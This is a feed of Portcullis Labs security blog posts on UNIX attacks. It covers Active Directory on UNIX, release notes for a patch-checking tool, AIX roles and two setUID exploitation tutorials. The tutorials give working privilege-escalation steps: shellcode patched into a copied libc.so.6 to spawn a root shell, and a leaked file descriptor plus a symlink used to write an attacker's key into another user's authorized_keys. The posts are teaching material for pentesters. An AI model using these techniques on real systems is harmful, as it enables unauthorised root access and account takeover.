Portcullis Labs » UNIX https://labs.portcullis.co.uk Research and Development en-US hourly 1 http://wordpress.org/?v=3.8.5 An offensive introduction to Active Directory on UNIX https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/ https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/#comments Thu, 06 Dec 2018 09:18:36 +0000 https://labs.portcullis.co.uk/?p=6805 By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests. Background to Active Directory integration […]

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
By way of an introduction to our talk at Black Hat Europe, Security Advisory EMEAR would like to share the background on our recent research into some common Active Directory integration solutions. Just as with Windows, these solutions can be utilized to join UNIX infrastructure to enterprises’ Active Directory forests.

Background to Active Directory integration solutions

Having seen an uptick in unique UNIX infrastructures that are integrated into customers’ existing Active Directory forests, the question becomes, “Does this present any concerns that may not be well understood?” This quickly became “What if an adversary could get into a UNIX box and then breach your domain?”
Within a typical Active Directory integration solution (in this case SSSD), the solution shares a striking similarity to what a user might see on Windows. Notably, you have:

  • DNS – Used for name resolution
  • LDAP – Used for “one-time identification” and assertion of identity
  • Kerberos – Used for ongoing authentication
  • SSSD – Like LSASS
  • PAM – Like msgina.dll or the more modern credential providers

You can see a breakdown of this process here. Unlike Windows, there is no Group Policy for the most part (with some exceptions), so policies for sudo et al. are typically pushed as flat files to hosts.

Our research

Realistically, the threat models associated with each part of the implementation should be quite familiar to anyone securing a heterogeneous Windows network. Having worked with a variety of customers, it becomes apparent that the typical UNIX administrator who does not have a strong background in Windows and Active Directory will be ill-equipped to handle this threat. While we’ve been talking about successful attacks against components such as LSASS and Kerberos for quite some time, Mimikatz dates back to at least April 2014, and dumping hashes has been around even longer. Pwdump, which dumped local Windows hashes, was published by Jeremy Allison in 1997). However, no one has really taken a concerted look at whether these attacks are possible on UNIX infrastructure, nor how a blue team might spot an adversary performing them.

As a result of this research, we were able to develop tactics, tools, and procedures that might further assist an attacker in breaching an enterprise, and we began documenting and developing appropriate strategies to allow blue teams to appropriately detect and respond to such incursions. The Black Hat EU slides can be found here and whilst the tools we developed can be found on our GitHub repo.

The post An offensive introduction to Active Directory on UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/an-offensive-introduction-to-active-directory-on-unix/feed/ 0
Where 2 worlds collide: Bringing Mimikatz et al to UNIX https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/ https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/#comments Thu, 06 Dec 2018 08:04:06 +0000 https://labs.portcullis.co.uk/?p=6806 Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018). Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may […]

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
Presentation on Active Directory integration solutions for UNIX (as given at Black Hat Europe 2018).

Over the past fifteen years there’s been an uptick in “interesting” UNIX infrastructures being integrated into customers’ existing AD forests. Whilst the threat models enabled by this should be quite familiar to anyone securing a heterogeneous Windows network, they may not be as well understood by a typical UNIX admin who does not have a strong background in Windows and AD. Over the last few months we’ve spent some time looking a number of specific Active Directory integration solutions (both open and closed source) for UNIX systems and documenting some of the tools, tactics and procedures that enable attacks on the forest to be staged from UNIX.

This talk describes the technical details regarding our findings. It includes Proof of Concepts (PoC) showing real-world attacks against AD joined UNIX systems. Finally, potential solutions or mitigation controls are discussed that will help to either prevent those attacks or at the very least to detect them when they occur.

Tools referenced in this talk include:

Eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX
724.9 KiB
MD5 hash: cc712c5e46b16fbff22a2566b1248a91
Details

The post Where 2 worlds collide: Bringing Mimikatz et al to UNIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/presentations/where-2-worlds-collide-bringing-mimikatz-et-al-to-unix/feed/ 0
SetUID program exploitation: Crafting shared object files without a compiler https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/ https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/#comments Wed, 31 Oct 2018 12:18:59 +0000 https://labs.portcullis.co.uk/?p=6581 In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post […]

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
In this post we look at an alternative to compiling shared object files when exploiting vulnerable setUID programs on Linux. At a high level we’re just going to copy the binary and insert some shellcode. First we take a look the circumstances that might lead you to use this option. Also check out this previous post on setUID exploitation.

A hacker challenge gone wrong

A long time ago, I set my team challenge of identifying an RPATH vulnerability and (if possible) exploiting the vulnerability to run some code of their choosing with higher privileges. I named my program arp-ath – lest people wasted too much time looking for other attack vectors:

$ cat arp-ath.c
#include <stdio.h>
int main(void) {
 printf("Hello world\n");
}
$ gcc -Wl,-rpath,. -o arp-ath arp-ath.c
# chmod 4755 arp-ath

The program behaves as you’d expect and is linked to libc.so.6 as you’d expect:

$ ./arp-ath
Hello world
$ ldd arp-ath
 linux-vdso.so.1 => (0x00007fff0a3fd000)
 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb6dc0d6000)
 /lib64/ld-linux-x86-64.so.2 (0x00007fb6dc489000)

The vulnerability lies in the fact the program seaches the current directory for its libraries:

$ readelf -a arp-ath | grep -i path
0x000000000000000f (RPATH) Library rpath: [.]

(You’ll sometimes see RUNPATH instead of RPATH, but both work). Check it’s vulnerable like this:

$ touch libc.so.6
$ ./arp-ath
./arp-ath: error while loading shared libraries: ./libc.so.6: file too short

This challenge is very similar to Level 15 of the Nebula challenge if you want to play along using that – though it’s 32-bit.

The team found the “arp-ath” vulnerability pretty quickly and replied to let me know. Which you’d expect as it is their job to find such vulnerabilities on client systems during Build Reviews.

What I hadn’t personally anticipated is what a pain it is to create a malicious modified version of libc.so.6 on 64-bit Linux. So rather than face the embarrassment of having posted a challenge that I didn’t actually have a full solution for, I cobbled together the shellcode-based solution outlined above. First let’s have a look at the difficulties I had in creating my own libc.so.6.

Problems compiling a replacement libc.so.6 on 64-bit Linux

I lost my original notes of what I’d tried, but I’m pretty sure that I and my colleagues followed a similar path to this solution to the Nebula level 15 challenge - which has a really nice writeup of how to debug shared libraries that don’t want to work.

Here’s an initial attempt, which should cause a shell to spawn when the library is loaded (note I could also have replaced the “puts” function).

$ cat exploit1.c
#include <stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -o libc.so.6 exploit1.c
$ ldd ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
linux-vdso.so.1 (0x00007ffeea77d000)
libc.so.6 => ./libc.so.6 (0x00007f50430f9000)
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: ./libc.so.6: no version information available (required by ./libc.so.6)
./arp-ath: relocation error: ./libc.so.6: symbol __cxa_finalize, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

So, let’s address those errors about lack of version numbers and failure to export __cxa_finalize (after much googling)…

$ cat version
GLIBC_2.2.5{};
$ cat exploit2.c
#include <stdlib.h>

void __cxa_finalize (void *d) {
 return;
}

int __libc_start_main(int (*main) (int, char **, char **), int argc, char *argv, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void *stack_end) {
 system("/bin/sh");
}
$ gcc -fPIC -shared -Wl,--version-script=version -o libc.so.6 exploit2.c
$ ./arp-ath
./arp-ath: relocation error: ./libc.so.6: symbol system, version GLIBC_2.2.5 not defined in file libc.so.6 with link time reference

Hmm. More errors.

Cutting short a very long sequence of trial and error, when we eventually try to replicate the solution to the Nubula level 15 challenge on 64-bit, we find that it only seems to work for 32-bit:

gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic -o libc.so.6 exploit2.c
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(system.o): relocation R_X86_64_32 against `.bss' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sysdep.o): relocation R_X86_64_TPOFF32 against symbol `errno' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/6/../../../x86_64-linux-gnu/libc.a(sigaction.o): relocation R_X86_64_32S against `.text' can not be used when making a shared object; recompile with -fPIC
/usr/bin/ld: final link failed: Nonrepresentable section on output
collect2: error: ld returned 1 exit status

If I understood my googling correctly, I need a version of libc that’s been compiled with -fPIC, but that’s not possible for some reason I didn’t understand.

I did consider grabbing the source for libc and recompiling it after a modification, but decided life was too short. I had a better (or at least quicker) idea…

So just use metasploit, then?

I had a quick go at generating a shared object file with msfvenom:

msfvenom -a x64 -f elf-so -p linux/x64/exec CMD=/bin/sh AppendExit=true > libc.so.6
$ ./arp-ath
./arp-ath: ./libc.so.6: no version information available (required by ./arp-ath)
./arp-ath: symbol lookup error: ./arp-ath: undefined symbol: __libc_start_main, version GLIBC_2.2.5

This was awfully familiar. I didn’t grapple much more with msfvenom after this.

Patching shellcode into a copy of libc.so.6

I figured I could open up a copy of libc.so.6 in a hex editor and paste in some shellcode over the top of __libc_start_main function. No matter how horribly I corrupted the file or how badly it crashed after it executed my shellcode, at least I’d have my shell.

I grabbed some shellcode off the internet – but equally could have generated in it Metasploit like this (I also appended a call to exit to stop the inevitable crash I mentioned):

$ msfvenom -a x64 -f hex -p linux/x64/exec CMD=/bin/sh AppendExit=true
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 55 bytes
Final size of hex file: 110 bytes
6a3b589948bb2f62696e2f736800534889e7682d6300004889e652e8080000002f62696e2f73680056574889e60f054831ff6a3c580f05

Then I made a copy of libc.so.6 and located the file offset for the __libc_start_main function:

$ cp /lib/x86_64-linux-gnu/libc.so.6 .
$ objdump -FD libc.so.6 | grep _main
00000000000201f0 <__libc_start_main@@GLIBC_2.2.5> (File Offset: 0x201f0):
...

Using a hexeditor I pasted in the shellcode.

</span>
<pre>$ hexedit libc.so.6
Use CTRL-G to seek to the offset in the file
image-6582

Use CTRL-G to seek to the offset in the file

(CTRL-G to go to an offset (0x201f0); paste in our shellcode; F2 to save; CTRL-C to quit.)

Shellcode pasted over existing code
image-6583

Shellcode pasted over existing code

$ ./arp-ath
# id
uid=1000(x) gid=1000(x) euid=0(root) groups=1000(x)

Finally! :-)

And this works on AIX too?

I tried to get this working on AIX – which typically doesn’t have a C compiler available; AND typically has loads of RPATH vulnerabilities. However, the shellcode I tried was self-modifying. This is fine when you’re injecting shellcode as data, but the code section I was injecting into was read-only. So I got a segfault. I’ll follow up if get this working.

Conclusion

The quick and dirty solution, while inevitably unsatisfactory is sometimes sufficient. Especially given the lack of tools, source, time you might have when exploiting this sort of vulnerabilities. Maybe it’s not a terrible solution. You be the judge.

The post SetUID program exploitation: Crafting shared object files without a compiler appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/setuid-program-exploitation-crafting-shared-object-files-without-a-compiler/feed/ 0
Exploiting inherited file handles in setUID programs https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/ https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/#comments Thu, 28 Jun 2018 16:00:40 +0000 https://labs.portcullis.co.uk/?p=6538 In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is […]

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is what we’ll look at in the context of setUID programs on Linux.

I was reminded of this technique as I tackled an old hacker challenge recently. This a fun challenge. And there’s a much easier solution than using the technique I’m going to cover here. Maybe try both the hard way and the easy way.

Example program

Here’s a fairly minimal test case of example code – inspired by the nebula challenge code.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 char *cmd = argv[1];
 char tmpfilepath[] = "/tmp/tmpfile";  // Modern systems need "sysctl fs.protected_symlinks=0" or "chmod 0777 /tmp" for this to be vulnerable to the symlink attack we'll use later.
 char data[] = "pointless data\n";

int fd = open(tmpfilepath, O_CREAT|O_RDWR, 0600);
 unlink(tmpfilepath);
 write(fd, data, strlen(data));
 setuid(getuid());
 system(cmd);
}

Let’s start by compiling this and setting the setUID bit so we have an example to work with:

root@challenge:/# useradd -m tom # victim/target user
root@challenge:/# useradd -m bob # attacker
root@challenge:/# cd ~bob
root@challenge:/home/bob# cp /share/fd-leak.c .
root@challenge:/home/bob# gcc -o fd-leak fd-leak.c
root@challenge:/home/bob# chown tom:tom fd-leak
root@challenge:/home/bob# chmod 4755 fd-leak
root@challenge:/home/bob# ls -l fd-leak
-rwsr-xr-x 1 root root 8624 Apr 12 11:06 fd-leak
root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

For exploitation later, we’ll also need the target user (tom in this case) to have a .ssh directory in their home directory:

root@challenge:/# mkdir ~tom/.ssh; chown tom:tom ~tom/.ssh

What this program lacks in realism is hopefully made up for in its simplicity.

Normal operation

As can be seen from the code above, the program should:

  1. Create the file /tmp/tmpfile, then delete it. A file descriptor is retained
  2. Drop privileges. This is poor code for dropping privileges, btw. It suffices for this example, though
  3. Run a command that is supplied as an argument. It should run as the invoking user, not as the target user (tom)

Let’s try it out (note that I modify .bashrc to make it clearer to the reader when a subshell has been spawned):

root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo 'echo subshell...' > .bashrc
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ./fd-leak bash -p
subshell...
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
root@challenge:/home/bob# useradd -m tom
root@challenge:/home/bob# su - tom
$ mkdir .ssh
$ ls -la
total 28
drwxr-xr-x 3 tom tom 4096 Apr 12 11:42 .
drwxr-xr-x 2 tom tom 4096 Apr 12 11:42 .ssh
...

So, yes fd-leak appears to drop privileges. (Our spawned shell isn’t responsible for the drop in privileges as I’ve hopefully illustrated by passing -p to bash above and by running id directly).

Finally, we expect the child process to inherit a file handle to the now deleted file /tmp/tmpfile:

bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 11:22 0 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 1 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 2 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 3 -> '/tmp/tmpfile (deleted)'
lr-x------ 1 bob bob 64 Apr 12 11:22 4 -> /proc/53982/fd

It does. We’re all set.

High level exploit path

Our approach to attacking this vulnerable program will follow these high level steps which are covered in more detail in the sections below:

  1. Create a symlink that the vulnerable code will try to write to. This way we can create a file in a location of our choosing and with a name we choose. We’ll choose ~tom/.ssh/authorized_keys
  2. We’ll run some code in the context of a child process to manipulate the open file handle so we can write the contents of authorized_keys file
  3. Finally, we log with via SSH

Practical exploitation

Step 1: Symlink attack

Simple:

ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

This step was harder in the nebula challenge, but I didn’t want to cloud the issue.

If we run the code now, we see that the authorized_keys file is created, but we don’t control the contents.

bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys
bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile
ln: failed to create symbolic link '/tmp/tmpfile': File exists
bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:11 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys

We also don’t control the permissions the file gets created with. (Feel free to try the above on authorized_keys2 after running “umask 0″ to check).

Step 2: Running code in child process

It’s pretty easy to run code because of the nature of the program. Again, this was harder in the nebula challenge. We can see the file handle we want listed in /proc/self/fd. It’s file descriptor 3:

bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:25 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak bash
subshell...
bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 12:26 0 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 1 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 2 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 3 -> /home/tom/.ssh/authorized_keys
lr-x------ 1 bob bob 64 Apr 12 12:26 4 -> /proc/54947/fd

So we can just “echo key > /proc/self/fd/3″? Not really. That’s just a symlink. A symlink to a file that doesn’t exist to be precise. And it’s pointing to a location that we’d don’t have privileges to create. Let’s confirm that:

bob@challenge:~$ ls -l /home/tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:25 /home/tom/.ssh/authorized_keys
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo > /home/tom/.ssh/authorized_keys
bash: /home/tom/.ssh/authorized_keys: Permission denied
bob@challenge:~$ echo > /tmp/tmpfile
bash: /tmp/tmpfile: Permission denied
bob@challenge:~$ echo > /proc/self/fd/3
bash: /proc/self/fd/3: Permission denied

We need to write to file descriptor 3… So is there are version of cat that works with file descriptors? Not that I know of. Let’s write some small utilities that will help us get to grips with accessing inherited file handles. We’ll write 3 tools:

  • read – that uses the read function to read a set number of bytes from a particular file descriptor
  • write – that writes a string of our choosing to a particular file descriptor
  • lseek – that lets us position our read/write

Here’s the source and compilation of the (very crude) demo tools:

bob@challenge:~$ cat read.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 char buf[1024];
 memset(buf, 0, 1024);
 int r = read(atoi(argv[1]), buf, 10);
 printf("Read %d bytes\n", r);
 write(1, buf, 10);
}

bob@challenge:~$ gcc -o read read.c
bob@challenge:~$ cat write.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("writing %s to fd %s\n", argv[2], argv[1]);
 write(atoi(argv[1]), argv[2], strlen(argv[2]));
}
bob@challenge:~$ gcc -o write write.c
bob@challenge:~$ cat lseek.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("seek to position %s on fd %s\n", argv[2], argv[1]);
 lseek(atoi(argv[1]), atoi(argv[2]), SEEK_SET);
}

bob@challenge:~$ gcc -o lseek lseek.c

Let’s see the tools in action. First we try to read, then write to file descriptor 3, but the read always returns 0 bytes:

bob@challenge:~$ ./read 3
Read 0 bytes
bob@challenge:~$ ./write 3 hello
writing hello to fd 3
bob@challenge:~$ ./read 3
Read 0 bytes

The reason is that we need to seek to a location in the file that isn’t the end of the file. Let’s seek to position 0, the beginning of the file:

bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./read 3
Read 10 bytes
pointless bob@challenge:~$ ./read 3
Read 10 bytes
data
hellobob@challenge:~$ ./read 3
Read 0 bytes

Much better.

Finally we need exploit the program above. We have two choices:

  • Run a shell as before, then use our new tool to write the key to authorized_keys; or
  • Make a new tool using the functions shown above to write to authorized_keys.

Let’s do the former. The latter is an exercise for the reader. Note that we need to seek to position 0 before we write our data. It’s important to overwrite the “pointless” message already there as that corrupts the authorized_keys file:

bob@challenge:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bob/.ssh/id_rsa): bobkey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bobkey.
Your public key has been saved in bobkey.pub.
bob@challenge:~$ cat bobkey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge
bob@challenge:~$ ls -l bobkey.pub
-rw-r--r-- 1 bob bob 387 Apr 12 12:30 bobkey.pub
bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./write 3 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge'
 writing ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge to fd 3

Step 3: Logging in via SSH

bob@challenge:~$ ssh -i bobkey tom@localhost
$ id
uid=1002(tom) gid=1002(tom) groups=1002(tom)

We’re done. We exploited the leaked file descriptor to write data of our choosing to tom’s authorized_keys file. We used a slightly unrealistic symlink attack along the way, but that doesn’t invalidate our discussion of how to use and abuse leaked file descriptors.

Conclusion

Hacker challenges are fun. Even when you accidentally find a much harder solution and waste 10 times longer than necessary.

Writing secure setUID programs can be difficult. Particularly if you spawn child processes; particularly if you use open() in directories writable by other users. fs.protected_symlinks provides some mitigation for directories with the sticky bit set.

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/feed/ 0
NOPC version 0.4.7 released https://labs.portcullis.co.uk/blog/nopc-version-0-4-7-released/ https://labs.portcullis.co.uk/blog/nopc-version-0-4-7-released/#comments Wed, 28 Oct 2015 14:14:21 +0000 https://labs.portcullis.co.uk/?p=5355 NOPC, the Nessus-based offline patch checker for Linux distributions and UNIX-based systems has had some changes made and been made available in our tools section. This article discusses the new features in detail and provides some working examples. Updated features and bug fixes Improvements to the interactive mode (e.g. asking for what format for results […]

The post NOPC version 0.4.7 released appeared first on Portcullis Labs.

]]>
NOPC, the Nessus-based offline patch checker for Linux distributions and UNIX-based systems has had some changes made and been made available in our tools section. This article discusses the new features in detail and provides some working examples.

Updated features and bug fixes

  • Improvements to the interactive mode (e.g. asking for what format for results to be displayed)
  • Hidden systems/distributions now displayed and re-ordered (see Usage)
  • Script consolidated back to one file
  • Testing script with shellcheck
  • Default location set for nasl and plugin directory

Usage

$ nopc.sh -?
/opt/bin/nopc.sh [Options]
Version: nopc.sh  0.4.7d
OPTIONS:
  -?: This usage page
  -d: Location of Nessus Plugins directory
  -n: Location of nasl program directory
  -s: System Type (with optional arguments)
  -l: Output Type
  -v: Version of NOPC

Where system type is one of:
 1 - AIX
 2 - HP-UX
 3 - MacOS X *
 4 - Solaris (!11) *
 5 - Debian
 6 - FreeBSD
 7 - Gentoo
 8 - Mandrake
 9 - Redhat
 10 - Redhat (Centos)
 11 - Redhat (Fedora)
 12 - Slackware
 13 - SuSE *
 14 - Ubuntu
 15 - Cisco IOS/ASA *

 * EXPERIMENTAL!!

Where output type is one of:
 0 - Displays Outdated Packages only
 1 - Displays NASL name and Outdated Packages
 2 - CSV output of CVE, KB and description (comma)
 3 - CSV output of CVE, CVSSv2, Severity, KB, Description (comma)
 4 - CSV output of CVE, KB and description (tab)
 5 - CSV output of CVE, CVSSv2, Severity, KB, Description (tab)

** Entering no parameters will run this in wizard mode walking you through the data collection for your desired system

The post NOPC version 0.4.7 released appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/nopc-version-0-4-7-released/feed/ 0
padmin to root: Roles on AIX https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/ https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/#comments Fri, 02 Oct 2015 14:47:26 +0000 https://labs.portcullis.co.uk/?p=5255 Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard. […]

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard.

Let’s start by defining what VIOS is. VIOS is a subsystem that runs on a logical partition (LPAR) which manages shared hardware such as disks and network adaptors and allows other LPARs to access them. VIOS is managed via a special padmin account which gives access to a restricted shell from where the hardware can be managed. In practice, however it’s just another AIX LPAR and as the blog post from IBM notes, setup_oem_env can be used to move from the padmin user to the root user.

Firstly, note that setup_oem_env is not setUID. So how does it work? Examining the padmin user we see that it has a single role (PAdmin):

The membership of a role is determined by /etc/security/user but we can examine a specific use using the rolelist command like so:

$ rolelist -u padmin
PAdmin

You can also find your current active role using the -e flag to rolelist. Moving on, what does the PAdmin role mean?

Roles are defined in /etc/security/role but as with role membership, we can also use shell commands to enumerate them. For example, the following shows what authorisations the PAdmin role has:

$ lsrole PAdmin
PAdmin
authorizations=vios.device,vios.fs,vios.install,vios.lvm,vios.network,vios.security,vios.system,vios.oemsetupenv,vios.system.cluster,aix.system.config.artex
rolelist= groups=staff visibility=1 screens=* dfltmsg= msgcat= auth_mode=INVOKER
id=23

In the context of getting root, vios.oemsetupenv is the charm. This and other AIX authorisations are defined in /etc/security/privcmds. It is possible to specify what commands the possessor of the vios.oemsetupenv authorisation can run (and indeed the privileges with which those commands will ultimately be executed).

You see, AIX like Solaris, is gradually getting rid of the concept that uid=0 is god. IBM haven’t taken this as far as Oracle yet but there’s nothing to stop a dedicated administrator from leveraging this functionality. So, if you’re auditing an AIX box, I would very much recommend checking what roles users have (via /etc/security/user) to ensure that no appropriate roles have been assigned.

PS I’ve never seen this used in practice (outside of VIOS), but I’m sure there will be a first time.
PPS rolelist -p will tell you what roles a given process has.
PPPS esaadmin has the SysConfig role but it’s not normally an active account.

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/feed/ 0
NOPC version 0.4.5 released https://labs.portcullis.co.uk/blog/nopc-version-0-4-5-released/ https://labs.portcullis.co.uk/blog/nopc-version-0-4-5-released/#comments Fri, 12 Jun 2015 08:38:39 +0000 https://labs.portcullis.co.uk/?p=3683 NOPC, the Nessus-based offline UNIX patch checker has had some changes made and been made available in our tools section. This article discusses the new features in detail and provides some working examples. Introduction There have been some updates to the NOPC tool. The latest version is now 0.4.5. Updated features and bug fixes Added Output […]

The post NOPC version 0.4.5 released appeared first on Portcullis Labs.

]]>
NOPC, the Nessus-based offline UNIX patch checker has had some changes made and been made available in our tools section. This article discusses the new features in detail and provides some working examples.

Introduction

There have been some updates to the NOPC tool. The latest version is now 0.4.5.

Updated features and bug fixes

